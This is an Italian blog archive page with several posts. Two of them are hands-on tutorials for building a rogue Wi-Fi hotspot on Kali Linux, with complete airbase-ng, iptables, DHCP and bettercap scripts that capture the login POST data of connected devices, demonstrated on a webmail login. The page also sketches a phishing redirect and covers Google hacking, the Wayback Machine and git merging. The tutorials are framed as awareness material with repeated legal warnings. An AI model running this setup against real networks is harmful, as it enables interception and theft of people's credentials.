Mese: Maggio 2017

Try this ONLY at home #2 – Rouge AP – Sniffing http traffic

Fabio Bombardi

Poiché l’articolo sul Wi-Fi sniffing è piaciuto molto, mi è stato chiesto anche un articolo che spiegasse la cosa in modo più approfondito utilizzando questa volta una scheda Wi-Fi esterna e la macchina virtuale di Kali Linux.

Cosa ci servere?

1. Una scheda wireless che supporti il  “Monitore Mode”

Ce ne sono tante e da tutti i prezzi. Io ne utilizzo due:

– TP-LINK TL-WN722N che è solo sulla banda 2.4Ghz
– ALFA AWUS051NH v.2 che è sia 2.4GHz che 5Ghz.

Questo tutorial parte dal fatto che la scheda integrata sul vostro PC non sia in grado di andare in Monitor Mode e quindi utilizziate una ulteriore adattatore Wi-Fi esterno. Ad esempio uno dei due presentati sopra. Kali Linux ha già tutti i driver e quindi l’utilizzo di una di queste due schede non richiede l’installazione di software/driver aggiuntivi.

2. La macchina VirtualBox o VMWare di Kali Linux

La potete scaricare dal sito di Offensive Security.

Io utilizzo quella Virtual Box a 64 bit (full, non light). Se volete seguire questo tutorial dovete anche voi scaricare quella full così abbiamo già gli stessi tool preinstallati ed andremo ad aggiungere solo quelli mancanti.


Mi raccomando una volta scaricata controllate la firma sha-256 che su linux e osx potete fare con il comando shasum mentre su Windows potete farlo con SevenZip che, molti non lo sanno, nel menù contestuale vi mette la possibilità di fare l’hash con algoritmo sha di qualunque file.

Fatta partire la macchina virutale vi presenterà il prompt di login. Le credenziali di default sono:

user: root
password: toor

3. Gli script del tutorial

Per l’occasione ho anche messo su GitHub un repository con gli script che utilizzeremo in questo articolo. Lo trovate qui.

Se siete connessi col cavo di rete prendete gli script direttamente dalla cartella rouge_ap altrimenti se siete connessi con la scheda Wi-Fi del vostro PC allora prendete gli script presenti all’interno della cartella wlan0wlan1.

Avete preso nota di tutto?

Okay Partiamo.

Quindi fatta partire la macchina virtuale la prima cosa da fare è il clone del repository

git clone https://github.com/shadowsheep1/tutorials.git

Spostatevi nella cartella rouge_ap o rouge_ap/wlan0wlan1 a seconda della vostra configurazione.

Io mi sposterò nella cartella rouge_ap perché anche se questa volta sono collegato con la scheda Wi-Fi del PC, tale scheda sulla macchina virtuale è sempre vista come interfaccia eth0.

Poi colleghiamo la scheda di rete Wi-Fi USB esterna e tramite VirtualBox connettiamola alla nostra macchina virtuale Kali.

E con un dmesg vediamo che l’hardware è stato riconosciuto

Abbiamo ora la nostra bella interfaccia wlan0 con cui andare a fare l’Access Point Malevolo.

Ora installiamo un server DHCP, perché vogliamo dare ai nostri client una configurazione differente rispetto alla nostra. Solo per aggiungere un po’ di know how al tutorial. Potremmo anche lasciare che il DHCP lo faccia il nostro router.

Per questo tutorial installiamo isc-dhcp-server.

apt-get update && \
apt-get install isc-dhcp-server && \
dhcpd --version

Poi ci server sempre Bettercap.

Le istruzioni per installarlo le trovate sul sito ufficiale.

Il metedo più pulito per l’installazione di bettercap è utilizzare gem.

Quindi:

apt-get update && \
gem install bettercap && \
bettercap --version

Bene abbiamo tutto! 🙂

Possiamo partire con i nostri scritpt.

01_setup_eth0.sh

echo "nameserver 8.8.8.8" > /etc/resolv.conf
cat /etc/resolv.conf
ping www.versionestabile.it -c 3

Questo script potete anche non eseguirlo se volete.

Non fa altro che configurare com server DNS quello di Google (è quasi sempre uno dei più aggiornti).

Ho voluto inserire questo script per chi non sapeva come configurare da riga di comando il server DNS della propria distribuzione linux.

02_setup_ap_wlan0.sh

airmon-ng check kill && \
airmon-ng start wlan0 && \
airbase-ng --essid "free-hostspot" -c1 wlan0mon

Questo script lo avete già laniciato anhe nel tutorial precedente e non fa altro che configurare l’hotspot Wi-Fi con SSID “free-hotspot”.

Lasciate ovviamente aperto questo terminale e apritene un’altro su cui lanciare gli script rimanenti.

03_setup_at0.sh

ifconfig at0 up && \
ifconfig at0 192.168.2.1/24

Questo script configura la scheda di rete logica dell’Access Point (come nel precedente tutorial) e gli assegna il primo indirizzo della rete 192.168.2.0/24.

04_setup_iptables.sh

iptables -F
iptables -t nat -F
iptables -X
iptables -t nat -X
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i at0 -j ACCEPT
#iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8888

Questo script configura le regole del firewall per il routing e il forwarding.

Una breve descrizione per chi è nuovo a iptables:

  • Il primo comando cancella tutte le regole per la rete del PC.
  • Il secondo comando cancella tutte le regole per la tabella NAT (Network Address Translation)
  • Il terzo comando cancella tutte le catene per la rete del PC.
  • Il quarto comando cancella tutte le catene per la tabella NAT.
  • Il quinto comando A(ggiunge) alla tabella NAT la regola di POSTrouting in cui tutti i pacchetti che vengono fatti uscire (-o) sull’interfaccia eth0 vengono mascherati, ovvero, fa in modo che i anche i pacchetti di una rete differente a quella del PC ma che passano attraverso di lui, vengano re-indirizzati sempre al nostro PC.
  • Il sesto comando A(aggiunge) alle regole della rete del PC il FORWARD dei pacchetti. Ovvero fa in modo che tutti i pacchetti non appartenenti alla rete del PC non vangano “droppati” (ignorati e scartati) ma vengano fatti passare secondo le regole di routing (POST e/o PRE) ipostate.
    L’ultimo comando l’ho commentato perchè lo fa già in automatico bettercap quando viene lanciato. Ovvero su tutti i pacchetti di tipo TCP sulla porta 80 non appartenenti alla rete di queto PC prima di farne il ROUTING vengono rediretti alla porta 8888 (dove ovviamente sarà in ascolto il nostro sniffer).

05_enable_fwd.sh

echo 1 > /proc/sys/net/ipv4/ip_forward
more /proc/sys/net/ipv4/ip_forward

Non basta configurare il firewall affinchè faccia il FORWARD dei pacchetti non appartenenti alla sua rete, ma occorre anche abilitare la cosa a livello di sistema operativo. E quello che fa questo script.

06_start_dhcp.sh

touch /var/lib/dhcp/dhcpd.leases 
dhcpd -cf ./dhcpd.conf

Facciamo partire il server DHCP con la configurazione che abbiamo preparato nel nostro file  dhcp.conf.

Prima crea (se non esiste) il file database dei lease, perchè se non c’è il server si arrabbia (non so perchè non lo crei, magari c’è un comando, ma non avendo mai avuto problemi facendo prima il touch, non ho indagato in merito).

#ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.2.255;
option routers 192.168.2.1;
option domain-name-servers 8.8.8.8;
range 192.168.2.51 192.168.2.100;
}

Questo file configura come si deve comportare il nostro server DHCP.

In particolare a tutti i dispositivi che richiedono la configurazione di rete (quelli che si collegano al nostro Access Point) diamo come IP quelli della rete 192.168.2.0/24 a partire dal .51 fino al .100 (quindi ne accettiamo 50, bastano?)

A voi lo studio e le prove di altre configurazioni 😉

07_bettercap.sh

bettercap --proxy --proxy-port 8888 -I at0 --no-spoofing --no-discovery -P POST --log bettercap.log

E infine lanciamo il nostro sniffer (quello del precedente tutorial).

Lo lanciamo come proxy sulla porta 8888, sull’interfaccia at0, senza fare ARP spoofing questa volta, senza ricerca dei dispositivi (li conosciamo bene 😉 ) con il parser sui log per le richieste http POST e salvando il log nel file “bettercap.log”.

Adesso il mio buon vecchio iPhone5 abbocca e la storia la conoscete bene 😉

Vediamo il nostro free-hotspot

Ci colleghiamo e una volta collegati se clicchiamo sull’icona delle informazioni (i) vediamo che l’iPhone5 da bravo ci dice che la rete è insicura (ma nessuno mai ci bada, tanto abituati siamo negli aereoporti o stazioni ad avere hotstpot senza password).

E vediamo anche che il nostro server DHCP si è comportato bene dando al dispositivo la configurazione IP che gli avevamo detto di dare 😉

CONCLUSIONI

Siamo arrivati alle conclusioni. Innazitutto non smetterò mai di ripeterlo, questo post è solo divulgativo per imparare a conoscere come funzionano le cose in questi casi. Non va fatto mai assolutamente (è REATO) una cosa del genere in pubblico.

Poi pensate. Una volta che avete l’Access Point malevolo, avete visto che configurando il vostro PC in maniera opportuna, siete i completi detentori del traffico di quel dispositivo.

Mettiamo ora il caso, per esempio di voler anche redirigere le richieste di Google o Facebook  (parliamo di Web e non di App) su un sito che risiede sul nostro PC e che si presenta in maniera identica ai loro. Qui dopo che l’utente ha inserito il suo nome utente e la sua password ce le salviamo e redirigiamo il traffico verso i siti reali. Ovviamente è REATO e illegale, ma lo diciamo sempre e solo per renderci conto della pericolosità della cosa nel caso dietro ad un Free-Hotspot ci sia un malintenzionato.

Quindi pensateci sempre due volte prima di collegarvi ad un hotspot senza password, e se potete navigate con la connessione dati 3G/4G del cellulare!

Spero che anche questo articolo vi sia piaciuto. Alla prossima!

Try this ONLY at home #2 – Rouge AP – Sniffing http traffic

Google hacking and Exploits database

Fabio Bombardi

Per chi non sapesse cos’è il Google Hacking, non è nulla di illecito e nonostante il termine, non si deve essere degli esperti per poterlo fare.

Per Google Hacking si intende semplicemente l’utilizzo del motore di ricerca Google per trovare siti web “bucati” (vuoi perché messi online da amministratori improvvisati, vuoi perché messi online da amministratori di mestiere ma sbadati…).

Ovviamente qualcosa di avanzato lo si deve conoscere, ma parlo delle keyword (parole chiave) che si possono utilizzare nella barra di ricerca in Google:

La cosiddetta Ricerca Avanzata di Google è descritta anche sul loro sito: Google Advanced Search. Non le descrive tutte in realtà… ce ne sono molte di più.

Molte sono nascoste dietro a questa from per la ricerca avanzata direttamente su Google. Scegliete il tipo di ricerca che volete fare e premete “Ricerca avanzata”.

Ad esempio nell’immagine sopra ho selezionato termini che compaiono nel titolo della pagina e premuto “Ricerca Avanzata”.

E sono stato rediretto qui:

Dove Google mi ha già detto quale keyword utilizzare.

Quindi volendo cercare tutti i siti che hanno la parola “blog” nel titolo della pagina, basterà cercare

allintitle:blog

Okay. Ora avete la conoscenza. Avete studiato la teoria.

Quindi occorre ora fare un po’ di pratica.

Ma facciamo una pratica divertente. Ovvero facciamo prima pratica con le “best practice” della ricerca di Google Avanzata.

Le best practice le andiamo a prendere su Exploit-DB, un sito web manutenuto dai ragazzi di Offensive-Security (quelli di Kali Linux) dove sono manutenuti tutti gli Exploit conosciuti ad oggi, i codici shell code da utilizzare nei vostri exploit dei test casalinghi ovviamente 🙂

Se notate bene, nel menu c’è una bella sezione “Google Hacking Database“.

Bene, non teniamo la pipì e andiamo a farla subito. Clicchiamo nella sezione Google Hacking Database.

Scegliamo dal menù del contadino a km 0 quello che ci piace di più. Io ora scelgo:
Sensitive Directories

Lo so che state già leggendo le altre possibilità…

Bene, andate avanti voi, ma ricordate il detto.

Fatti i fatti tuoi, campi cent'anni.

Oh, se fossi un hacker o un phisher quasi quasi potrei anche mettere su un directory listing su un sito web apposta perché venga indicizzato da google e aspettare che qualcuno scarichi il mio virus per la curiosità… Quindi occhio ragazzi! 😉

 

Google hacking and Exploits database

Wayback Machine – Internet Archive

Fabio Bombardi

Oggi parliamo di Wayback Machine, che nonostante sia online da tanto (prima come Archive.org) non tutti la conoscono ancora. Sicuramente è online dal 1997…

Questa immagine è presa direttamente dal loro archivio 🙂

archive.org nel 1997
archive.org nel 1997

Ebbene, se non lo sapete, loro fanno la copia di tutti i siti web (che non bloccano i loro bot) e ne tengono un archivio storico.

Quindi è uno strumento utilissimo per la “memoria storica del web”.

E’ un sito che ha dei drawback ovviamente: può essere utile a chi cerca una vecchia versione del suo sito, ma allo stesso modo qualcuno che aveva pubblicato per sbaglio informazioni sensibili e poi le ha cancellate, potrebbe averle ancora attive qui! 😀

Volete sapere come era Amazon.com il 17 Ottobre del 2000? Ehm… non così all’avanguardia come oggi:

amazon.com 17 ottobre 2000
amazon.com 17 ottobre 2000

E questo nel 2003 🙂

amazon.com 10 dicembre 2003
amazon.com 10 dicembre 2003

Beh! Insomma… avete capito l’antifona… ne volete ancora una? Non siete andati a guardare da soli!!!

Allora… ecco facebook.com nel 2005…

facebook.com nel 2005
facebook.com nel 2005

Ed ecco google nel 2005!

Ovviamente se uno non lo sa e quindi prendere provvedimenti, il fatto che informazioni sensibili e poi tolte vengano archiviate può essere un problema…

Ad esempio tutti quei siti di “doxing” contenenti informazioni sensibili sui VIP per esempio, possono ancora trovarsi qui senza bisogno di andare nel Dark Web, alla ricerca di quelle informazioni.

Okay, per questo breve articolo mi fermo qui, ma ne seguirà un altro il cui argomento riguarderà Google Hacking e Exploit pubblici.

Alla prossima!

Wayback Machine – Internet Archive

Do this ONLY at home – WiFi Sniffing

Fabio Bombardi

E’ incredibile, come ancora nel 2017 ci siano siti che gestiscono dati e credenziali di milioni di utenti e che non abbiano l’accesso solo tramite HTTPS e implementato l’HSTS… ma questa è un’altra storia.

Oggi vedremo, per questi siti che ancora oggi o non hanno l’HTTPS o se ce l’hanno non hanno l’HSTS, come sia possibile (e facile) sniffare le credenziali degli utilizzatori che accedono ai loro servizi via web!!!

Per fare questo occorre una distribuzione linux con già installati alcuni strumenti.

Per l’occasione io consiglio Kali linux – https://www.kali.org/

Scegliete voi se installarla in dual boot o con una macchina virutale (io consiglio il dual boot su Mac, che pare proprio innocuo e fornisce già la scheda wireless che può andare in monitor mode).

Quale dei due PC sembra più minaccioso? 🙂

Infatti per poter eseguire il test dovete avere una scheda Wi-Fi che consente di essere messa in “monitor mode“.

Un MacBook Air Mid 2012 o una Alfa Card, vanno benissimo. Ma ci sono tante altre schede di rete USB che possono andare bene, basta fare una ricerca online.

Io scelgo quindi l’HW più a sinistra nella foto, in quanto più innocuo (vedete il gatto come è tranquillo vicino ad esso?). Ovviamente non vi dovete immaginare sul lettino al mare con questo PC in questa configurazione. Ovviamente no!

A questo punto facciamo il boot di Kali linux e installiamo bettercap.

Bene siamo a posto… ^^’ non dovete installare più nulla.

Ah! Dimenticavo, poichè la scheda Wi-Fi la usiamo come Rouge-AP, dovremo avere anche una seconda connessione per connetterci in internet.

Possiamo utilizzare un adattatore USB-Eth per connettere il nostro Mac al nostro router di casa. Perché solo a casa vanno fatti questi test, mi raccomando.

Se invece vi state immaginando in un bar pubblico, allora vi dovete immaginare di collegare il tutto ad un router 3G o 4G con connettore RJ-45 (ma non immaginatelo!!!)

Okay.

Primo script dell’apprendista scr1pt k1dd13:

#!/bin/bash
airmon-ng check kill
airmon-ng start wlan0
airbase-ng -e "free-hostspot" -c1 wlan0mon

Salvate il codice bash soprastante in un file, rendetelo eseguibile e lanciatelo.

Salvatelo per vostro repertorio 😉

Questo vi creerà l’Access Point con un SSID “free-hostspot” sul canale 1 della frequenza 2.4GHz.

Secondo script dell’apprendista scr1pt k1dd13:

ifconfig at0
brctl addbr br1
brctl addif br1 eth0
brctl addif br1 at0
brctl show
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig br1 192.168.1.206/24 up
echo 1 > /proc/sys/net/ipv4/ip_forward
route add default gw 192.168.1.1

Anche qui salvate il codice bash soprastante in un file, rendetelo eseguibile e lanciatelo.

Questo script controlla l’intefaccia logica at0 dell’access point, che viene creata da airbase-ng quando creea l’Access Point.

Crea un bridge di nome “br1” e lo associa ad eth0 e at0.
Quindi queste due interfacce sono ora tra loro collegate.

Mostra la configurazione del bridge.

Setta ANY address ad eth0 e at0 e un indirizzo di rete (che non rientri nel DHCP) al bridge.

Abilita il routing (packet forwarding) sul sistema operativo.

Aggiunge nuovamente la default route (gateway) al sistema operativo.

Molto bene.

Ora lanciamo bettercap sull’interfaccia del bridge “br1” (-I br1) in proxy mode (–proxy) e col parser log sulle chiamate POST (-P POST).

Bettercap ci crea in automatico le regole del firewall (iptables) per il proxy e il routing.

E comincia a fare anche del gran ARP spoofing… perfino il PC Windows ne è rimasto travolto.

Ma per fortuna GlassWire mi ha avvertito! Vi ricordate l’articolo sui Firewall user friendly?

L’ARP spoofing in questa configurazione ci server per redirigere il traffico http verso di noi.

Poichè il traffico dell’hotspot risiede già sul nostro PC potremmo catturarlo anche senza ARP spoofing. Ma poichè la configurazione è più complessa, per lo scopo di questo articolo abbiamo scelto di non utilizzarla.

Finalmente qualcuno abbocca (il mio iPhone 5) al nostro bell’hostspot.
Potevo anche collegarmi con un altro PC al Wi-Fi, non sarebbe cambiato nulla.

Ovviamente veniamo avvistati, come per tutti gli hostspot liberi (senza password) dalla voce “Security Reccomendation” (io ho il cellulare in inglese). Ma ormai siamo abituati, perché ad esempio, anche in aereoporto abbiamo lo stesso avviso.

Navighiamo sul sito di libero.it e accediamo alla nostra casella via web.

Intanto notiamo già che non c’è la connessione sicura… niente HTTPS e lucchettino verde… vabbè, ma andiamo avanti. Facciamo il login… e sboom! Il nostro bettercap ci segnala bene bene le variabili POST del form di login.

Voilà! 🙂

Questo articolo non volevo neanche scriverlo, mi sembrava datato come argomento… ma quando questa sera ho riprovato e mi sono accorto che ancora con libero era così facile sniffare il login della loro posta, allora mi sono ripromesso di scrivere finalmente questo articolo.

Spero vi sia piaciuto, anche se scritto un po’ in fretta e a notte tarda! 😀

Alla prossima

 

Do this ONLY at home – WiFi Sniffing

Git branching and merging

Fabio Bombardi

Oggi mostreremo alcuni esempi veramente basilari di come usare il prompt di git per creare dei branch e fare dei merge.

Come sapete il Pro Git Book, scritto da Scott Chacon, è interamente leggibile online qui

Vi siete mai chiesti qual è la storia di Git? Qui un breve excursus. Ma quello ancora più interessante è che Git prende il nome sempre da Linus Torvalds. Dopo aver dato il proprio nome ad uno dei sistemi operativi più diffusi, ha voluto descrivere nel progetto di Version Control anche un’aspetto della sua personalità. Da qui nasce il termine Git che in slang sta a significare una persona “poco simpatica” 🙂 (Wikipedia, Urban Dictionary).

Bene dopo un po’ di storia, sempre divertente (molto spesso le persone utilizzano gli strumenti ma non si chiedono il perché del loro nome o da dove sono “arrivati”) passiamo alla pratica.

Bene creiamo la cartella “git_merge” e inizializziamo in essa un repository Git.

Creiamo quindi il file “hello.py” seguente:

#! /usr/bin/env python

def hello():
    print "Hello World!\n"

hello()

lo rendiamo eseguibile

chmod +x hello.py

e lo aggiungiamo al repository

git add hello.py
git commit -m 'added hello.py'

A questo punto creiamo un “branch” e lo chiamiamo “refactoring” e ci spostiamo in esso.

git branch refactoring
git checkout refactoring

e modifichiamo il file cambiamo il nome della funzione hello() in say_hello() e committiamo.

A questo punto decidiamo che il rename della funzione ci piace di più e vogliamo quindi fare il merge di ‘refactoring’ nel ‘master’.

git checkout master
git merge refactoring

In questo caso il merge è semplice e viene fatto il cosiddetto fast-forward. Ovvero master viene portato avanti nel nodo di refactoring. In parole povere il merge è automatico.

Visualizzando il grafico del log, non si vedono “rami” in quanto sia ‘master’ che ‘refactoring’ puntano allo stesso ‘nodo’ nella struttura dei commit.

Adesso, modifichiamo il file hello.py nel master aggiungendo il commento alla funzione say_hello()

Poi passiamo al branch refactoring in cui invece modifichiamo la funzione say_hello() in greetings() e aggiungiamo anche un parametro in ingresso.

A questo punto decidiamo di voler mettere il parametro in ingresso anche in master e quindi facciamo un merge.

git checkout master
git merge refactoring

E ta-dan! Git questa volta non riesce in automatico a risolvere i conflitti perché non sa quale sia la modifica che si vuole tenere e quale quella da eliminare.

Il file hello,py viene modificato nel seguente modo:

Cosa vediamo? 🙂

Una cosa che ci fa paura… allora digitiamo

git merge --abort

E tutto tornerà come prima.

Se invece vogliamo procedere al merge allora dobbiamo conoscere i seguenti simboli

<<<<<<<<

Da questo simbolo fino al successivo, vediamo il file presente nella HEAD del repository su cui siamo, in questo caso master. Abbiamo infatti il nostro commento alla funzione.

|||||||||

Da questo simbolo al successivo vi è la precedente versione del file (quella della commit precedente) rispetto al repository in cui ci troviamo, quindi master.

Quindi se guardiamo questa parte centrale e la parte in alto avremo le differenze tra il file corrente nel repository master e quello della commit precedente.

========

Da questo simbolo fino al successivo (ultimo) abbiamo il file del branch da cui vogliamo fare il merge, in questo caso: refactoring.

Quindi se guardiamo la parte centrale e la parte in basso avremo le differenze tra il file corrente nel branch e quello della commit precedente nel master.

>>>>>>>>

Tutto quello che sta fuori, è quello che Git ha deciso di tenere e non sta considerando come un conflitto.

 

Quindi… se vogliamo tenere il file nel master basta tenere la parte tra <<<<<< e |||||| e cancellare tutto il resto compresi questi simboli.

Se vogliamo tenere il file del branch refactoring basta tenere la parte tra ====== e >>>>>> e cancellare tutto il resto compresi questi simboli.

Se invece, come faremo, vogliamo tenere un po’ di una parte e un po’ dell’altra, andremo ad integrare la parte centrale con le aggiunte (o riscrivete il file, come vi piace di più) della parte sopra e della parte sotto.

Ecco alla fine come abbiamo modificato il file.

#! /usr/bin/env python

def greetings(who):
    """ Say hello to the World! """
    print "Hello, " + who

greetings("Fabio")

A questo punto facciamo la commit.

Fine 🙂

Da qui in poi invece leggete solo se siete curiosi.

Se quando abbiamo avuto dei conflitti avessimo voluto isolare le tre sezioni in file differenti per poi farne i diff tra di loro, avremmo potuto eseguire i seguenti comandi:

git show :1:hello.py > hello.base.py
git show :2:hello.py > hello.head.py
git show :3:hello.py > hello.refactoring.py

A questo punto se volete fare il diff tra di loro si può fare per esempio:

git diff --no-index hello.base.py hello.refactorug.py

E una volta terminata la vostra correzione dei conflitti nel file hello.py potete pulire tutto con

git clean -f

Okay, okay… voi utilizzate il tool grafico, ma… sapere come funziona sotto non è bello?! 😀

Git branching and merging